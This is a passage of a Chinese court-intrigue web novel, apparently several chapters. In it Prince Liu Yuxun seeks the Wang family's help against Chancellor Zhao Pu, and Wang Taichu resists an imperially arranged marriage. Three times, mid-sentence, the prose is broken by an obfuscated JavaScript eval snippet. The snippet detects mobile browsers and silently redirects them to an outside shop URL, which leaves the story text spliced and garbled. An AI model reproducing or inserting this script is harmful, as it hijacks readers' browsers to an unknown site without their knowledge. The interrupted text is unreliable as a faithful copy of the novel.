“想必王公子此时已是知晓父皇要为我和太初指婚的消息了。虽说眼下还未下旨，朝堂之上却也已不是秘事。”见王绍安点头，刘聿洵叹口气继续说道，“我原本想着外出归来后，亲自去征求她的同意，没承想我刚回来，你们却已动身去了明州。” 此前王绍安于指婚一事，心中终是耿耿，其一便是因这事里，他从未听闻刘聿洵曾问及王太初的意见。 直到眼下听到他的这番话，心中的不满才稍稍褪去了些。 “王公子也知晓，皇家的婚约与寻常百姓之家的婚约，本就不同。若父皇的旨意一旦下达，这朝局便会随之改变。是以这朝堂之上，定然有不少人，并不愿此事能成。他们定会想方设法阻挠。轻者或许会于朝堂之上公然进言抗议，重者或许......”刘聿洵突然停止了话头，他担心自己的坦诚或许会让王绍安成为那反对的一员。 “重者或许会危害到太初的性命。”见刘聿洵犹豫，王绍安索性就着他的话往下说道，“因而殿下便派了李副将前去明州府保护。” “正是如此。王公子应也知晓你这妹妹，最是怕麻烦。她若知道同我在一处会惹来这般风波，定是会主动放手。” “殿下何不直接说她贪生怕死。”想到王太初平日模样，王绍安便不自觉地宠溺笑话道。 “此话我可不敢说，只能是你这个哥哥说。”见王绍安没了先前的防备，刘聿洵也跟着开起了玩笑。 “她说了，她是不怕的。” 王绍安的这句话说得轻描淡写，却让刘聿洵原本带着笑意的脸瞬间僵住，玩笑的神色悄然褪去，眼底渐渐漫上了几分意外。 “殿下为何会如此意外？瘟疫横行，她出现在城门口的那一刻，我便知晓，为了你她是连生死都不怕的。”见刘聿洵尤自愣在一旁，王绍安的话语间似有了一些不悦，“我独留城中之时，也未见她回来。” “此前我也时常在忧虑此事，不愿太初卷入这般复杂的朝堂。后来才发觉是我多虑了，太初心里自有分寸，于她而言，过得开心，总归比困在安稳里重要。”王绍安像是在说服自己一般，喃喃道。 “我同王公子一样，所求也不过是让太初开心。”刘聿洵眼神坚定说道，“让其开心，却也要保其安全。” “那么，殿下觉着何人会伤害家妹？” 雍王和自家联姻，究其根本，受损最甚者不过二人。一为丞相赵普，二为太子刘聿恒。 此二人中，赵普近来与刘聿洵往来甚密，瞧着颇为亲近。王绍安这般发问，也是想试探刘聿洵，看他会不会借着这个由头，企图将王家和太子对立起来。 “丞相赵普。”他皱眉脱口而出，脸上还似能看出一抹厌恶。 “为何不是太子？”王绍安从未想过刘聿洵会如此坦率，竟也没顾上尊卑就追问出口。 “我那个哥哥我知道，他素来看重声名，此事若有半分涉他之嫌，他必不为之。”随即，他脸色一沉，说道，“可赵普却恰恰相反，其虽亦重声名，可此事若有分毫可推诿他人之机，他便会冒险为之。因而，如若明州府真有人对太初姑娘行凶，那最有可能的便只有赵普。” “所以今日殿下深夜到此，是为了赵相而来？” 虽王抃从未和赵普有过正面冲突，可朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700640|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂之上无人不知，刘祀对王抃的拔擢，为的便是分了赵普的权力。 也正是因为如此，王绍安对刘聿洵此刻的态度，始终存着一丝怀疑。 雍王殿下频繁出入相府已不是秘密，这般看来他应是在赵普阵营才是，可偏偏他又费尽心机求得了刘祀的指婚，将自身置于矛盾之中。 “正是，如若要保太初平安，你我必须联手除掉赵普。” “可赵相同你......” “王公子定是听闻了近日的传闻，听得我与赵普亲近。”刘聿洵蹙眉，脸上闪过一丝厌嫌说道。 “殿下刻意接近，可是有别的目的？” “正是。赵普执掌国柄、把控朝局，这些年里不知犯下多少恶行。可每逢追查至他，总有手下替他担下罪责，让他得以彻底脱身，不留半点痕迹。”刘聿洵见王绍安神色坦然，想必对赵普的行径也是略有耳闻，便继续说道，“王公子可知西境军粮劫案？” “此案闹得满城风雨，我自然知晓。只是此案不是已由刑部定案，难道也和赵相有关？” “刑部只查到了兵部职方司郎中辛起山，可你我都知道如此大案仅靠一个小小职方司郎中何以能成，因而我便又往深处查了查，一直查到了蓟门闸的漕船。”刘聿洵将西境军粮劫案其中细节原原本本同王绍安说了一遍，就连王太初所为亦没有遮掩。 “怪不得在明州城时她已是一副天不怕地不怕的样子，原是这万安城的刀剑她早便见识过了。”王绍安的口气中满是埋怨，原以为自家妹妹那些时日是风花雪月，却不想竟是刀光剑影，而将她拖入险境之人此刻正站在他面前。 “是我的错，是我将太初拉入如此险境。”刘聿洵听出了王绍安话语间的责备，丝毫未有迟疑便道歉道。 “此事难言对错，军粮关系军需民生，关系西境安稳，事关重大，大庆子民自当出力觅得实情。” “王公子不怪罪便好。”刘聿洵拱手道谢，又将话题拉回到了赵普的身上，继续说道，“所以今日本王前来，实则也想求王公子劝王大人助我一臂之力。” “殿下要父亲支持顾侍郎夺得那漕运总督之位？” “是！父皇敬重王大人，定会问其意见，眼下只有钱一标和顾允恪两个人选。我并无强迫公子之意，公子和王大人但凭心中所想做决定便可。”言及此处，刘聿洵思考了片刻，又继续往下说道，“李安泰突然被擒，赵普眼下暂无心力去毁掉证据，如若顾允恪能接手漕运总督一职，定能顺藤摸瓜，找到证据，定下死罪。” 刘聿洵虽迫切需要王抃的支持，可这番话倒也属实。 “所以是雍王殿下设计逮捕的李总督？” 因着王太初与刘聿洵这层关系，王绍安再看眼前之人，已不将其视作高高在上的雍王殿下，反倒比往日多了几分敢言的底气。 “并非本王，朝廷中眼红此位置的人多如牛毛，虽眼下只有赵普和兵部提名，可背后说不准有其他虎视眈眈之人。” “好。既然雍王殿下如此坦诚，今夜您所托之事，我明日便会禀明父亲，至于父亲如何决断，实非我所能左右，也请殿下谅解。” “那是自然，王公子若能替我传达，便是帮了我的大忙。今夜翻墙入院实是情势所迫，也请王公子见谅。” 言毕，刘聿洵便要起身离开。可刚迈出几步，却像忽然记起了什么，又折过身来，盯着王绍安的眼睛问道：“王公子方才提及，太初曾言她并不畏惧，可是真？” 他的眼中满是期待的光，却又隐隐透着几分不敢置信的恍惚。 按理，这份肯定该给他带来得偿所愿的愉悦，可在王绍安看来，他此刻倒像是陷入了“得到后反而更怕失去”的迷局中。 “此事不假，太初确实说过此话。”王绍安本想开口宽慰他，可刘聿洵脸上那抹挥之不去的不安，让王绍安心底莫名生出一丝滞涩感。 他不禁开口问道。 “草民斗胆有一问，殿下既知求赐指婚会令赵普对家妹不利，为何此刻便向陛下求请，而不等大局定后再求陛下恩准？” 47. 第十一章 为何不能等大局定后？ 或许答案就在此刻。 若她知道那些不能明说的暗处伎俩，若她察觉自己与王家众人如此迥异。或许不等大局落定，他便会先失去她。 她或许也会像此刻站在周元月对面那样，站在他的对立面。 而这样的原因也并不难猜，从自己要求范金谦在明州府不计代价采买军资导致粮价腾贵开始，他便对自己颇有微词。 彼时他未加干预，全因范金谦与王太初仅有过一面之缘、素无交情。而且此人虽耿直好斗、常抱不平，却也不至于愚蠢到为不相干之人开罪皇子。 因而他只派了李全胜跟着，却并未有过干涉。 直到后来，王太初在明州府设计粮商的消息传来，他才有了纸包不住火的预感。 王太初也未想到会在此处见到刘聿洵，这原也是气话，可话既已说出口，便覆水难收，只能仓促避开他的视线，低声应道。 说完，她便想绕开刘聿洵逃跑。 可无奈旧伤并未痊愈，自己又动作过急，一不留神，脚下一个踉跄，便向他身侧歪倒而去。 此时的王太初怎肯将这般丑态落在他眼中？忙在失衡之前强拧身形，将身子歪向了另一边。 刘聿洵原还在气头上，不想理会，可见其似有伤在身，便来不及细想，一把将她拉住，让其站稳，随后，自己便自顾自蹲了下来。 他从小在军营摸爬滚打，一下子便找到了王太初的伤口，也顾不上他人的眼光，招呼身边护卫搭建起人墙之后便挽起裤腿查看了起来。 “李全胜！药呢？”刘聿洵本就心情不佳，此刻语气更是冷若冰霜，他头也没抬喝道。 “放开我！” 王太初倒也不是什么古板守旧之人，明州府的田间，她也能挽起裤腿袖管劳作。 此刻她让刘聿洵松手，全是因为她已然分不清楚，他对自己的好，是出于真心关切，还是只是逢场作戏。 “上完药再说。”他未理会王太初，只是接过药膏，将药一寸寸涂在她的伤口上。 指腹经过之处，酥麻感渐生，王太初更觉愤愧。 “我说了，放开我。”见刘聿洵不搭理，她索性抬脚想要抽离。 原刘聿洵也只是轻轻握着脚腕，手上并没使太大力气，王太初这样用力一抽，反倒将鞋尖径直磕在了他的下巴上，发出一声闷响。 刘聿洵身旁的护卫见此情景，当即箭步上前，反手便将刀刃架在了王太初颈间。 而比身边护卫的刀来得更快的是周元月的责备声：“放肆！冲撞皇子，你不要命了吗？” 王太初虽非有心为之，亦想低头去探看伤情，可被人用刀刃抵着颈部，便只能停在了原处。 “周姑娘整日无所事事，四处搬弄是非，管旁人家中之事，周都督可知晓此事？” 刘聿洵边摸着下巴边撑着双腿站起身来，他抬手招呼护卫撤开，转身对周元月下了逐客令：“周姑娘，我和太初有私事要说，你请回吧。” 周元月虽然气恼，但自知在他们俩的身上自己也讨不到好处，既然今日要说的话也已经说完，施了个礼之后，便气愤地离开了。 李全胜带着护卫撤到茶摊之外，此刻的茶案边便只剩下王太初和刘聿洵二人。 刘聿洵径直走到茶桌前坐下，拿起王太初吃剩的半块麦饼，掰下一小块放入口中。 他并未像方才那样咄咄逼人，只是静坐在案前嚼着麦饼，好似是去是留，悉听王太初决断。 “我并非有意。”见刘聿洵下巴红肿，王太初自觉愧疚，便又在案前坐了下来，小声道歉道。 “无碍，这样的磕磕碰碰训练时我不知要碰到几回。”麦饼干噎，他的声音听着有些发哑，“只是眼下有件要事，原应早些跟你说，不知现下你还愿不愿意听？” “殿下要说的，是陛下指婚之事？” 茶摊的老妪也被李全胜挡在了棚外，王太初四下看了圈也未发现干净的茶盏，便将自己的那杯递了过去。 “正是，想必太初姑娘也应是早有耳闻了。”刘聿洵接过茶盏，润了润喉，抬眸问道。 “如若是此事，殿下就不必多言了。”王太初对上他的目光，并未躲闪，想是已经做了决定“陛下若为你我赐婚，定会问我心意，届时我自陈粗鄙，辞谢便是了。” “太初姑娘径自做了决断，竟也不给我一个解释的机会吗？”刘聿洵似早就对眼前的局面有了预判，无奈摇头笑道，“太初姑娘做此决断，可是和范金谦有关？” 茶棚外的李全胜屏息注意着棚内的动静，无论是四和香，抑或是范金谦，其真相浮出水面皆是因为他故意设计，告知王太初的，而王太初对此亦心知肚明。此时，他已做好了事情败露之后受惩的准备。 “在今日遇到周元月之前，我也以为和旁人相关，可后来发现却不是这样。”她轻声说道，似也觉着遗憾，“今日周元月指你和父亲共谋，你身为皇子，倚权臣之势稳固政治根基；父亲身为臣子，借你觊觎皇权之欲共谋私利。可即使如此，我对父亲从未存疑，对你却生了疑窦。如若二人之间，对彼此尚有疑虑，不能尽信，婚约之事便无从谈起。” “顾允恪是兵部之人，在旁人眼中，我自小在兵部历练，兵部算得上是我刘聿洵的左膀右臂，或者像你说的那般，是我的政治根基。”他并未顺着王太初的话往下说，只自顾自说起了顾允恪。 皇子结兵部而营私本就是死罪，可在王太初面前他却没有避讳。 “他们如此费尽心机，所求不止让父皇对兵部生厌，更欲西境军粮匮乏、鞑靼乘隙入关之后，将兵部彻底易主。从前你没有猜错，此局就是冲着我来的。”他没有隐瞒，坦诚说道，“所以我绝不允许他人用西境军粮劫案构陷兵部。” “所以你全然不顾明州城百姓的生计，不计后果在明州城内买粮？”王太初原不想谈论此事，听到此话却不免动怒反问道，“雍王殿下倚重兵部，所求的，无非至尊之位。可若你不以百姓为念，纵得此位，他日岂不也会成了那在历史上留下污名的昏君吗？” 王太初言词极峻，全不顾座前之人，乃当朝得势皇子。 “还是殿下想要辩解，这是你的权宜之计？这帝王之路本就血染杀伐、白骨垒砌，待他日登临九五、身登至尊，你定会善待百姓？” 王太初的声音越提越高，语气也满是激切。棚外护卫听到动静，手按在刀柄上几乎要冲进去，亏得李全胜及时拦住，这才没动。 而刘聿洵却只是看着她，没有一丝辩驳。 他本就生得面相凌厉，此刻默不作声，更显冷峻。 茶棚内的气氛，顿时冷得像坠入冰窖一般。 就在李全胜以为他们会在棚内一直这样对峙下去之时，官道上突然船来了急促的马蹄声，一匹快马裹挟着风疾驰而来，在茶棚前骤然停下。 来人从马背上一 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只是她从小生长在明州，自然对明州多了份情谊，而刘聿洵与西境本就唇亡齿寒，他自当优先保全西境。而这一点，她在回万安的路上早便想通了。 她无法释怀的是，周元月只消三言两语，便能搅乱自己的思绪，让她对刘聿洵的初衷生出怀疑来。 无法彼此信任的二人，又怎能白头偕老？在大庆风云诡谲的朝堂中，共担风雨呢？ “另有一事，我也需得跟太初姑娘说明白。”见王太初低头不语，刘聿洵的语气更是冷了几分，“父皇虽未下旨，但知晓这桩婚事的人已然不少。过些时日母后也会下帖子邀你入宫，届时定会问你意见。我不过是想提醒姑娘，赐婚乃是天恩，没有人能够反对。” 刘聿洵的眼神中透着冰冷，他那分明不是提醒，而是威胁。 她盯着眼前如陌生人一般的刘聿洵，不禁打了一个寒颤，无需想象，他已将何为皇权，何为天恩，何为不可反对展示在了她的面前。 王太初只觉脑中嗡嗡作响，竟觉得有些晕晕乎乎，亏得握住桌上茶盏，才勉强稳住心神。 “我若不愿意，便无人能逼得了我。若当真冒犯天恩，要杀要剐，悉听尊便。” 说罢，王太初一把将那茶盏狠狠反扣在茶案上，那陶盏当即碎裂，锋利的陶片扎进她的手心。 盏中茶水顺着茶案，借着地势高低，缓缓往刘聿洵那边流去。他面无表情地看着王太初受伤的手，只木然地向后挪了挪身子。 王太初也顾不上受伤的手，满心失望地站起身，转身就往茶棚外走去。 而这动静早惊动了守在棚外的士兵，他们立刻拦在她身前，半点没有让路的意思。 “怎么，在殿下的面前摔了个茶盏，殿下就要以犯上的名义在此诛杀我不成？”见去路被阻，她回过头冷冷问道。 “放她走。”他并没有朝这边看，只是又掰了一小块麦饼，扬手说道。 “殿下，以王姑娘的性格，定会抗旨的。”目送王太初坐上马车进城，李全胜才走近刘聿洵身边说道。 “不必管她。”他将麦饼扔进口中，用袖管抹了抹桌上的茶水，好一会才再开口问道，“方才你说，赵普用的什么理由弹劾顾允恪？” “用的是，顾侍郎，越权干预他部事务。”李全胜轻声说道，“而且陛下已经开了玉口，言明顾侍郎的漕运总督之位，暂且缓议。” 48. 第十二章 刘聿洵回到通天巷的雍王府时已过申时。 他刚下马将缰绳扔给府门口的长随，便听到了吴钩已在书斋等候的消息。 “吴钩见过洪保的消息，是谁走漏出去的？”刘聿洵边大跨步朝着书斋走去，边问起身旁的李全胜。 “我让人打听了，是洪保自己放出去的消息。”李全胜虽刚从明州回来，可短短几个时辰却已将万安城内近日发生的事情了解了个遍。 “哼，这个洪保果然是个老狐狸。”刘聿洵脚步未停，只轻笑一声道，“自己怕得罪赵普，硬是要拉吴钩下水。” “怕还不止，属下只怕他还想拉殿下下水。” “那倒不至于，此人再是胆大妄为，也不敢公然跟本王作对，此次牵涉到我恐怕也是意外。”刘聿洵停下脚步，回头对李全胜说道，“吴钩此人向来交游甚广，跟朝堂上众多皇亲官员都有往来，故而我并未刻意与他疏离。赵普此次向顾侍郎发难，恐是将我与吴钩有私交，及吴钩拜访洪保这两件事给串在了一处。你立刻去查清楚，究竟是谁在暗处做局？” “属下得令。”说罢，李全胜便转身向府门口走去。 刘聿洵看着李全身的身影消失在前院，才皱着眉头推开了翰墨斋的门。 书斋内的吴钩原还一本正经地坐在客位上，颇有大庆朝礼部尚书的威仪。可见推门进来的是刘聿洵，便立刻起身跪倒在地。 “微臣该死，给殿下添麻烦了。”吴钩诚惶诚恐地伏下身子，丝毫没有了方才大庆礼部尚书的气节。 今日诸事繁冗，刘聿洵本就烦躁，见吴钩这副没骨头似的样子，便更添怒火。他径直绕开吴钩，走到书斋主位坐定，半晌都没吭声，只任由他伏跪在地。 要不是府中女使奉茶水进来，见吴尚书伏地便惶恐叩跪，恐这大庆朝的礼部尚书要对着空气跪上许久了。 “吴尚书，你是礼部尚书，礼部乃朝廷的门面，你又怎可动不动就屈膝下跪？”刘聿洵招呼女使将茶水送到跟前，见其离开才再开口，“再者，本就是本王派你去的洪保府邸说项，这漕运总督的位子原也落到了顾侍郎的头上，本王又怎会怪罪于你呢？你且起来，先坐下吧。” “替殿下效力本就是微臣分内之事，要不是我贪了口那虎丘白云茶，也不至于能泄露了风声，请殿下治罪。”吴钩跪爬着转过身来面向刘聿洵请罪道。 “如果洪保有意想将你拉下水，即使没有那虎丘白云茶，你去过洪尚书府邸的事情怕也是瞒不住。” 吴钩精明能干，可就是这副屈从附和的样子，着实碍眼。 此刻，见其跪爬着转身，刘聿洵更是气不打一处来，厉声问道，“吴尚书的腰杆子是挺不起来了吗？” 刘聿洵从未有过如此严厉的时候，平日里纵心中已是十分不快，却仍能嬉笑着将压力施加于你，断不会像今日这般，将情绪直白露于你眼前。 闻言，吴钩也不好再继续跪在地上，站起身来重新坐到了客位上。 “事既如此，再追究前因已是无意，先说说有何良策解决此事吧。”刘聿洵喝了口茶，稍定心神宽慰道，“父皇只说暂时缓议此事，想来还有转圜的余地。“ “微臣查清楚了，告发顾侍郎越权干预他部事务的帖子最先是吏部呈给的赵相。赵相是在得了这帖子之后才顺水推舟让其下的监察御史向陛下检举的顾侍郎。” “吏部？呵--”听闻此事有吏部的参与，刘聿洵大概也猜到了背后是何人主使，冷笑一声问道，“顾侍郎素来谨小慎微，最是知道边界，怎会无缘无故干涉吏部的事务？” “此事说来话长。原兵部武官沈敬明去岁在城北剿匪之时为救顾侍郎被歹徒重伤落下残疾无法再披战甲。经顾侍郎保荐，以军功转文职的特例调入吏部司务厅任检校，日常仅负责收发、保管部内闲置档案和历代考课旧册，任职尚不满一年。原本沈敬明在此位置上未达任职年限，本不在优等候选范围之内，应是不能纳入京察优等官员名单的。可顾侍郎偏将其昔日在兵部的表现统而算之，执意要为沈武官争个公道，借着机会找到吏部左侍郎，要求将其名加在那优等名单之中。吏部那帮人个个都是人精，虽当下满口答应，转身就以‘文官考课专属吏部’，顾允恪干预他部事务为由，将事情捅到了赵相的面前。” “这才过立秋，吏部就已经定好了今岁京察优等官员的名单，怕不是早了些吧？”刘聿洵像是在嘲笑对手招数的拙劣问道，“这地方待考察的官员都还尚未入京面圣，这考生还未到，成绩却先揭晓了，如此拙劣的手段父皇也信？” “呵呵呵--”说到刘祀，吴钩也只能陪笑，不敢再妄加言语，转头说起了其他，“微臣方才在此处闲坐，倒是想了一个法子，殿下且瞧瞧堪不堪用？” “说来听听。” “顾侍郎素来讲义气，对兵部之人最是维护，陛下对此也颇为欣赏，何不我们就从此点出发，为其再做辩驳？况且，来之前我也找人查了沈敬明的底细，此人忠勇尽责，在兵部时便是出了名的悍将，身上有不少的军功。何不我们拿着沈武官的军功详录一起去求见陛下，索性为顾侍郎争一个体恤下属的名声。” 刘聿洵闻言摩挲着茶盏，并未开口。 如今漕运总督的位置上，最为有力的竞争者不过就是钱一标和顾允恪。如果此番顾允恪没能拿下那个位子，那漕运便会重新落到赵普的手上，届时想再查清楚军粮案便更难了。 所以他必须为顾允恪争一争那总督之位。 “现下看来，也只有此法了。”刘聿洵抬眼对吴钩说道，“你且先去兵部调出沈敬明所有的军功档案，务必保证每一件都详详细细记录在册。” “微臣领旨，此番微臣必定多加小心，定不会坏了殿下的好事。” “去吧。”刘聿洵挥手示意吴钩即刻便动身。 他行礼之后向门外退去，正巧碰到回来的李全胜。彼此在门口点头示意之后，便各自分开，李全胜径直步入书斋。 “殿下，查清楚了，背后是太子。”目送吴钩的身影消失在长廊的尽头，李全胜才小声开口说道。 对于这背后之人，刘聿洵倒是并不在意，也大概能猜到几分。 沈敬明之事，不前不后，偏偏于漕运总督推选的关键时节冒了出来，已足够令人生疑。而吏部今岁京察又提前许多，更见其是有意为之。 而说到吏部，便很难不让人联想到先皇后的胞弟，太子的叔父，吏部尚书魏瑾了。 其人向来唯刘聿恒之令为尊，事事唯其马首是瞻，想来此番也不例外。 只是他的目的是什么呢？ 他不希望自己身后的兵部得到漕运总督之位，是情理之中，可以他这些年和赵普之间的恩怨，也定然不会想这漕运总督之位继续留在赵普的手上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776465|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “太子那边这些天都见了什么人？” “自太子妃薨逝之后，太子便鲜少见外人了。除了日常的公务之外，他去的最多的地方便是它山衍庆寺。” “这鹣鲽情深的戏码倒是演不完了。”刘聿洵冷哼一声，将茶盏推到一边说道，“这些时日让盯着太子的人再近身一些，务必要查清楚他的目的。他躲在背后看着我和赵普相斗，想要坐收这渔翁之利，总归需要有坐那位置的合适人选，此人到现在也该要冒出来了。” “属下明白。” 说完，李全胜转身便要退下，却被喊住。 “先站住，先说说太初腿上的伤是怎么回事。”谈及此事，刘聿洵眼中顿时杀气凛然，“可是赵普的人？” “属下该死。”李全胜跪倒在地，心知刘聿洵此刻已是怒不可遏，“是不是赵普的人，尚还不能断定。” “护不住人，现在连是谁下手的都弄不清楚了。李副将，在外数月，你的判断力竟真是半点也不剩了吗？” “属下该死，让太初姑娘受此损伤，属下即刻便去领罚。”李全胜抱拳说道，“只刺客之事，太初姑娘在明州府之时，帮着范大人严治越州府粮商，使其亏空惨重、血本无归，此等冤仇之下，难保不是他们怀恨派人行刺。” “你的意思不是赵普？” “亦有可能是赵相所为。属下也细察了那两名刺客的招式手段，绝非临时招募的乌合之众，反倒个个技艺精湛、训练有素。这般高手，也不像是那些粮商短时间内能罗致的。” “哼，你倒是挺有意思。照你如此说来，眼下我是只能眼睁睁地看着太初受伤，怪罪这个也不行，怪罪那个也不行，惩治这个也不成，惩治那个也不成喽？” 刘聿洵鲜少看到如此犹豫未定的李全胜，他皱眉问道。 “属下不敢。” “事情都到了见血的地步，如若再无人为此事负责，那我雍王府的威严还往哪里搁？”刘聿洵满脸冷漠，“既分不清真凶是谁，索性两边同罚。” “属下领旨。”李全胜得令之后，刚要转身去安排，却听到书房外传来通报，前院管事正侯在廊下，称贵妃处来了口谕。 刘聿洵虽早有预料，却未想此事来得这般快。想起白日茶摊中与王太初所言，更是心绪烦闷。 他按耐心绪，招呼李全胜让管事进来。 “殿下，凤仪殿派吉祥公公来了旨意，着您明日进宫赴宴。” “吉祥人呢？” “吉祥公公传话，贵妃另有旨意需火速送往通政使府邸给太初姑娘，便不再过来向殿下问安了。” 雍王府的管事早就对自家殿下的喜事有了耳闻，却不知白日里王太初已有悔婚之意。他只当明日陛下便要下旨赐婚，是桩天大的美事，故而脸上笑得格外灿烂，眉眼间满是欢喜，甚至觉得刘聿洵一时开怀，自己还能讨到好处。 却不想听闻此言，刘聿洵的眉头更是拧到了一处。 “下去吧。” 刘聿洵没有说话，倒是李全胜先抬手让管事退了下去。 待管事走出书斋，他也顾不上是否逾越便开口问道：“如若明日太初姑娘当场抗旨拒婚，殿下可有应对之策？” “她定会拒婚的。”刘聿洵起身移步窗前，抬手推开窗扇，长叹一口气说道，“可她却不晓，这门婚事，哪里是她想推便能推掉的。” 49. 第十二章 天子之威（二） 王太初收到凤仪殿的懿旨之时已是晚膳之后。 曹贵妃的此道旨意，行文严谨、礼节周全，又是由身旁最为信任的宫人亲往宣读，如此庄重正式，任谁都能看出，这明日的宫宴必是非比寻常。 而她回府之后，只道乏累，便径直回了自己的沧澜阁，未将自己悔婚之意向旁人言说。 因而在凤仪殿的懿旨传至府中之时，不明真相的众人也只为自家姑娘觅得良缘而感到欢喜，丝毫没有察觉其他。 江音如更是欣喜万分，翻箱倒柜便开始为其置办起了明日的装扮。要不是时间紧迫，她更是恨不得能将这城内所有珠宝铺、裁缝铺的人都给招呼到府中，好生置办一番。 王太初本也想将悔婚抗旨之事尽数告知，可转念一想，抗婚之事非同小可，恐怕连累家人，便打定主意，决定独自面对所有风波。 此前，她决意同刘聿洵相守之时，便是由她一人拿的主意，如今既已决定抗婚，就更无理由再烦扰家人。 更何况，此事也并非要到宁为玉碎、不为瓦全的地步，太宗素来仁善，说不定会念及情由，成全自己。 故而，翌日她踏出府门、在见到刘聿洵之前，王太初心中对悔婚之事，始终都未觉得有过多的不妥。 “宫中规矩繁复，王姑娘又是第一次入宫，还是由我陪在身边方才妥当一些。” 已过午时，刘聿洵瞧着却面色倦怠，一边是王太初决意抗旨悔婚，另一边是漕运总督之位再起变故，桩桩件件皆是棘手难缠之事，让他彻夜难安。 经过昨日茶摊的不欢而散，王太初本不想理会，可瞧见他面带疲色，便狠不下心置之不理，终是登上了雍王府的马车。 今日她本就是盛装打扮，因而除却往日的秀气灵动之外，更添了几分规整的雅致，瞧着竟也有了几分王妃的气度。 “还是坐到原处吧，这套软垫本就是特意为你铺的，你也坐习惯了，倒不用如此拘束。”见王太初拘谨，刘聿洵苦笑着将自己的坐垫往远处移了移，抬手示意其坐下。 “我并非此意。”虽未必能有婚约，可王太初也并不想让刘聿洵觉着自己是如避蛇蝎般避着他，“殿下也不必将自己的位子扯远了。” “呵呵--”刘聿洵自嘲地笑说道，“我倒也不至于觉着王姑娘会将我想成那些个登徒子，只是王姑娘腿上有伤，昨日又划伤了手，坐得宽敞些，方能少些不适。” 说罢，他便从袖口掏出了一个白玉瓶，放在案几上，推到王太初跟前。 “此药膏对划伤最是有效，王姑娘可拿回家中，每日睡前涂上，不日便可好转。” “有劳殿下挂心了。”她将白玉瓶收到袖口中，昨日划伤的伤口只是看着吓人，待处理妥当之后看，原不过是破了层皮的外伤罢了。 王太初并未如实告知伤情，面对他这般疏远客套，只觉心口堵得发闷。 “王姑娘此言好生生分，挂心于你，本就是应该的。”瞧着她这般拘谨不自然的模样，全然没了往日的灵动熟稔，刘聿洵的心中渐生不舍，话锋一转，便强打精神，开起玩笑来，“你可以将我视作那只图自身权柄筹码，不顾明州城百姓死活的逐利小人，可我这些时日对王姑娘的心意和关心，还望你莫要全盘否决了才是。” “殿下刻意等在王府之外，就为了同我说这些轻薄之话吗？” “自然也不仅仅是如此，昨日城门外人多嘈杂，诸多厉害关系我未曾向姑娘说透。今日马车上只有你我二人，去万安宫尚有一段路程，我仍想与姑娘多言几句。”说到此处，刘聿洵停住了话头，似是暗自攒了攒勇气，方才再度开口，“今日我不说你我之间，我只说姑娘的处境。” “哼！”王太初冷哼一声，昨日之事细究起来，最让她觉着寒心的，便是刘聿洵以皇权相迫，“殿下想说的与昨日可有不同？如若还是昨日那套说辞，便没有必要了。” “哦？那我且问王姑娘，今日你要在何时抗旨悔婚？”面对王太初的冷哼，今日的刘聿洵尚算冷静，只是淡淡开口问道。 “自然是在......” “姑娘为何不往下说了？”刘聿洵勾嘴笑问道，“姑娘此刻也发现在父皇宣旨赐婚之后，公然抗旨，终究不妥当了？” “难不成陛下还能不管我是否情愿，逼着我、拉着我成婚不成？”王太初颇为不服气，辩驳道，“父亲说过陛下最是仁厚，想来在此事上，他必定也不会强人所难。” “王大人说父皇仁厚，那可曾有说过，父皇仁厚到能容下旁人在众目睽睽之下抗他的旨？” 王太初本想开口反驳，却苦于找不出更好的说辞，一时不知如何应对，只得低下头，不再言语。 “他是帝王，是九五之尊，他尽可择仁厚而行，却不能说仁厚便是他的本色。”见其一时语塞，刘聿洵便又开口强调道，“王姑娘，在万安城内讨生活，你必须知道，帝王的仁厚，从来都是恩赐，而非本能。” “所以殿下才这般向往那个位置对吗？因为一旦坐上了那个位置，便可以不顾旁人所想，独断一切？”闻言，她抬头质问道，“我不知道万安城内的生存法则是什么，但如果殿下真想得到那个至尊之位，或许该让仁厚成为你的本能，将悲悯天下之心时时记挂于怀。” 言至此处，王太初便拍了拍车厢将马车喊停，嚷着要下车。 “如果今日姑娘执意想要抗旨，待会儿入宫之后定有场硬仗要打，或许还要承担抗旨的罪名受些皮肉之苦。我要是你，会选择坐在车上省些力气。” 刘聿洵拍了拍马车，示意车夫继续前行，玩笑似地劝解道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818705|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下是在威胁我？” “威胁你？我可不觉得自己有这个本事。”刘聿洵慵懒地往那软垫上一靠，方才脸上的严肃也随之散去，反而滑头说道，“我只是提醒王姑娘，反正待会儿终究要去撞那南墙，倒不如此刻在暖和的马车里多呆片刻，舒服一时便是一时。” “殿下倒是会说风凉话，要不是你执意要我坐雍王府的马车赴宴，我也不至于会落到下了这马车便要步行前往的地步。”王太初重新坐回到软垫上，责怪道，“何不如现在殿下下了马车，骑马前往。” 